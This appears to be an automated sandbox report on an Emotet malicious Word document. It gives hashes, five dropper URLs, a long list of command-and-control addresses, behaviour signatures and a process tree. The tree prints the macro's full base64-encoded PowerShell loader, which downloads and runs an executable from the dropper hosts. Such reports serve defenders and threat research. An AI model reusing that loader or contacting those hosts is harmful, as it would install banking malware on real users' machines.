emotet | 48aa26498a6a7ab7d286cf9a4322c7ec768cacd338fffd18a8d6f6579bfb3d3c

General

Target
emotet_e2_48aa26498a6a7ab7d286cf9a4322c7ec768cacd338fffd18a8d6f6579bfb3d3c_2020-08-18__063356._doc.doc
Size 176KB
Sample200818-5hvqw8efmx
SHA256 48aa26498a6a7ab7d286cf9a4322c7ec768cacd338fffd18a8d6f6579bfb3d3c
MD5 bdf31e979d97c7ad02ccc736d70e4b21
SHA1 8ce277b4bffd68087119842d05c3a4b4c9356dbb
SHA512 2ee6855e24d2fa45e33de8c7adc03f3c1d18b1e49430214020bd7cbe66148e8e61c7fe4c46338605c00eb2a521950a93fbe3b7e752e5e2ad8938fdca6877f01b
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.isisjade.com/vlib_ud_hlgydg/
exe.dropper
http://obigeorge.com/86mdn_s_p5vlfcqb/o_2rpoh_rm82a/
exe.dropper
http://ishtera.net/vd_535d_3dodu/
exe.dropper
http://jimlutzforohio.com/1bid_5sd03_mqbn2wb7e3/
exe.dropper
http://nitronet.net/rs_qk_cf4/

Extracted

Family

emotet

C2

68.44.137.144:443
69.30.203.214:8080
67.205.85.243:8080
79.98.24.39:8080
5.196.74.210:8080
188.83.220.2:443
109.116.214.124:443
203.117.253.142:80
104.131.11.150:443
97.82.79.83:80
121.124.124.40:7080
83.169.36.251:8080
89.186.91.200:443
70.167.215.250:8080
204.197.146.48:80
167.86.90.214:8080
190.160.53.126:80
95.213.236.64:8080
47.144.21.12:443
169.239.182.217:8080
62.75.141.82:80
181.211.11.242:80
37.70.8.161:80
190.55.181.54:443
78.24.219.147:8080
93.51.50.171:8080
139.59.60.244:8080
91.211.88.52:7080
139.130.242.43:80
24.233.112.152:80
185.94.252.104:443
74.208.45.104:8080
47.146.117.214:80
137.59.187.107:8080
174.102.48.180:80
199.101.86.142:8080
116.203.32.252:8080
103.86.49.11:8080
81.2.235.111:8080
200.41.121.90:80
85.105.205.77:8080
61.19.246.238:443
110.145.77.103:80
107.185.211.16:80
95.179.229.244:8080
85.152.162.105:80
142.105.151.124:443
41.60.200.34:80
203.153.216.189:7080
85.66.181.138:80
113.160.130.116:8443
46.105.131.79:8080
181.230.116.163:80
168.235.67.138:7080
24.179.13.119:80
72.12.127.184:443
75.139.38.211:80
109.74.5.95:8080
24.43.99.75:80
87.106.136.232:8080
176.111.60.55:8080
152.168.248.128:443
74.120.55.163:80
183.101.175.193:80
68.188.112.97:80
62.138.26.28:8080
5.39.91.110:7080
24.137.76.62:80
37.139.21.175:8080
2.58.16.85:7080
209.141.54.221:8080
37.187.72.193:8080
104.236.246.93:8080
201.173.217.124:443
222.214.218.37:4143
157.147.76.151:80
87.106.139.101:8080
189.212.199.126:443
173.62.217.22:443
180.92.239.110:8080
104.131.44.150:8080
157.245.99.39:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3492	508	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3736-15-0x00000000005D0000-0x00000000005DC000-memory.dmp	emotet
behavioral2/memory/3736-15-0x00000000005D0000-0x00000000005DC000-memory.dmp	emotet
behavioral2/memory/2980-18-0x0000000000750000-0x000000000075C000-memory.dmp	emotet
behavioral2/memory/2980-18-0x0000000000750000-0x000000000075C000-memory.dmp	emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
23	3492	powersheLL.exe
25	3492	powersheLL.exe
27	3492	powersheLL.exe
29	3492	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3736	Gdo33p08d.exe
2980	mfh263enc.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDINASA\mfh263enc.exe	Gdo33p08d.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3492	powersheLL.exe
3492	powersheLL.exe
3492	powersheLL.exe
2980	mfh263enc.exe
2980	mfh263enc.exe
2980	mfh263enc.exe
2980	mfh263enc.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3492	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3736	Gdo33p08d.exe
3736	Gdo33p08d.exe
2980	mfh263enc.exe
2980	mfh263enc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 3736	3492	powersheLL.exe	77
PID 3492 wrote to memory of 3736	3492	powersheLL.exe	77
PID 3492 wrote to memory of 3736	3492	powersheLL.exe	77
PID 3736 wrote to memory of 2980	3736	Gdo33p08d.exe	78
PID 3736 wrote to memory of 2980	3736	Gdo33p08d.exe	78
PID 3736 wrote to memory of 2980	3736	Gdo33p08d.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_48aa26498a6a7ab7d286cf9a4322c7ec768cacd338fffd18a8d6f6579bfb3d3c_2020-08-18__063356._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3712

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABRAGoAXwBxAF8ANwAyAD0AKAAnAFIAXwB5AGcAJwArACcAMQAwAHUAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBuAFYAOgB0AGUATQBwAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQByAEkAdABgAHkAUABgAFIAbwBUAE8AYABDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgAHQAbABzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApADsAJABDAHkAMQA5AHEAbwB5ACAAPQAgACgAJwBHAGQAbwAnACsAJwAzADMAcAAwADgAJwArACcAZAAnACkAOwAkAFQAZwBhAHIAeQB3AF8APQAoACcASAAnACsAJwA4AGsAMAAxACcAKwAnAGgANgAnACkAOwAkAEMAdwBmAGoAawBwADkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAEEAcwAzACcAKwAnAE8AJwArACcAZgBmAGkAYwAnACsAJwBlADIAMAAxADkAQQBzADMAJwApAC4AIgByAEUAYABQAGwAYABBAGMAZQAiACgAKABbAEMASABhAFIAXQA2ADUAKwBbAEMASABhAFIAXQAxADEANQArAFsAQwBIAGEAUgBdADUAMQApACwAJwBcACcAKQApACsAJABDAHkAMQA5AHEAbwB5ACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABPAGwAMgAyADAAZQBlAD0AKAAnAFMAbQBhADcAYQBoACcAKwAnAGwAJwApADsAJABFAHkANAByAG8AOQB5AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcAZQBCAGMAbABJAEUAbgBUADsAJABJAGEAawA1ADUAMgBwAD0AKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAdwB3AHcALgBpACcAKwAnAHMAaQBzAGoAYQBkAGUALgBjAG8AbQAvACcAKwAnAHYAbAAnACsAJwBpACcAKwAnAGIAXwB1ACcAKwAnAGQAXwBoAGwAZwAnACsAJwB5ACcAKwAnAGQAJwArACcAZwAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBvACcAKwAnAGIAaQAnACsAJwBnAGUAbwByAGcAZQAuACcAKwAnAGMAJwArACcAbwBtAC8AOAA2AG0AZABuAF8AcwBfAHAANQAnACsAJwB2AGwAZgBjACcAKwAnAHEAYgAvAG8AJwArACcAXwAyACcAKwAnAHIAcABvAGgAXwByAG0AJwArACcAOAAyAGEALwAnACsAJwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AaQBzACcAKwAnAGgAdABlACcAKwAnAHIAYQAuAG4AJwArACcAZQB0AC8AdgBkAF8ANQAnACsAJwAzADUAZAAnACsAJwBfACcAKwAnADMAZABvAGQAdQAvACoAaAB0AHQAcAA6AC8ALwAnACsAJwBqAGkAbQBsAHUAdAB6AGYAbwAnACsAJwByAG8AaAAnACsAJwBpACcAKwAnAG8ALgBjAG8AbQAvADEAYgBpAGQAXwA1AHMAZAAwADMAXwBtAHEAYgAnACsAJwBuADIAJwArACcAdwBiADcAZQAzACcAKwAnAC8AKgBoAHQAdABwADoALwAnACsAJwAvAG4AaQB0AHIAbwBuAGUAdAAuAG4AJwArACcAZQAnACsAJwB0ACcAKwAnAC8AcgAnACsAJwBzAF8AcQAnACsAJwBrAF8AYwAnACsAJwBmACcAKwAnADQALwAnACkALgAiAHMAYABQAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBuAGYAdQBpAGgAbAA9ACgAJwBGAGoAeQAnACsAJwB5AHkAawBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAeABqADkAZgBqAG8AIABpAG4AIAAkAEkAYQBrADUANQAyAHAAKQB7AHQAcgB5AHsAJABFAHkANAByAG8AOQB5AC4AIgBkAG8AVwBuAGwAYABvAGEAZABGAGAAaQBMAGUAIgAoACQAWgB4AGoAOQBmAGoAbwAsACAAJABDAHcAZgBqAGsAcAA5ACkAOwAkAFgANwA2AHgAZwBtAHkAPQAoACcAQgBqADQAJwArACcAbQAnACsAJwB3AGQAcQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQwB3AGYAagBrAHAAOQApAC4AIgBsAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADIAMQA4ADcAMAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDAHcAZgBqAGsAcAA5ACkAOwAkAEYAeABuAGMAbAB6AG8APQAoACcAUgB0ADEAcQBxAGUAJwArACcAcAAnACkAOwBiAHIAZQBhAGsAOwAkAFYAMABmAG4AegA4AGEAPQAoACcATgBzAF8AbwAnACsAJwAwACcAKwAnAHIAZQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AYwBxAHkAYgBlAHcAPQAoACcATAB3ACcAKwAnAHIANQA5AGYAJwArACcAdwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Users\Admin\AppData\Local\Temp\Office2019\Gdo33p08d.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Gdo33p08d.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\SysWOW64\KBDINASA\mfh263enc.exe
    "C:\Windows\SysWOW64\KBDINASA\mfh263enc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2980-18-0x0000000000750000-0x000000000075C000-memory.dmp

Download

memory/3492-9-0x00007FF9A3230000-0x00007FF9A3C1C000-memory.dmp

Download

memory/3492-10-0x0000022D755C0000-0x0000022D755C1000-memory.dmp

Download

memory/3492-11-0x0000022D758A0000-0x0000022D758A1000-memory.dmp

Download

memory/3712-0-0x00007FF9AB060000-0x00007FF9AB726000-memory.dmp

Download

memory/3736-15-0x00000000005D0000-0x00000000005DC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads